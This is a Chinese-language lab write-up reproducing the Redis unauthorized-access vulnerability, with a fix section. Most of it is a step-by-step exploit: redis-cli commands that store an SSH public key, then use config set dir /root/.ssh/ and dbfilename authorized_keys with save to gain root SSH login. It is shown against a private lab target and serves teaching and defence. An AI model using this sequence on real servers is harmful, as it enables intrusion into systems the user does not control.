漏洞复现篇--Redis未授权访问漏洞
Redis未授权访问漏洞
一、漏洞描述
Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。
二、影响版本
Redis 2.x,3.x,4.x,5.x
三、环境搭建
靶机:centos7 192.168.101.141
攻击机:kali 192.168.101.130
靶机安装redis:
1、wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2、tar xzf redis-2.8.17.tar.gz
3、cd redis-2.8.17
4、make
5、cd src
6、./redis-server

四、漏洞复现
4.1 测试客户端程序redis-cli和redis服务交互
redis-cli -h 192.168.101.141

4.2 ssh免密码配置
4.2.1 生成公钥/私钥对
ssh-keygen -t rsa -P ''
4.2.2 将公钥写入 1.txt 文件(文件名随意)
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
4.2.3 连接redis写入文件
1、cat 1.txt | redis-cli -h 192.168.101.141 -x set crackit
2、redis-cli -h 192.168.101.141
3、config set dir /root/.ssh/ //这一步如果失败,尝试在靶机执行ssh localhost
4、config get dir
5、config set dbfilename "authorized_keys"
6、save
4.3 利用私钥登录redis服务器

五、修复建议
1、采用绑定IP的方式来进行控制
2、设置密码,以提供远程登陆

浙公网安备 33010602011771号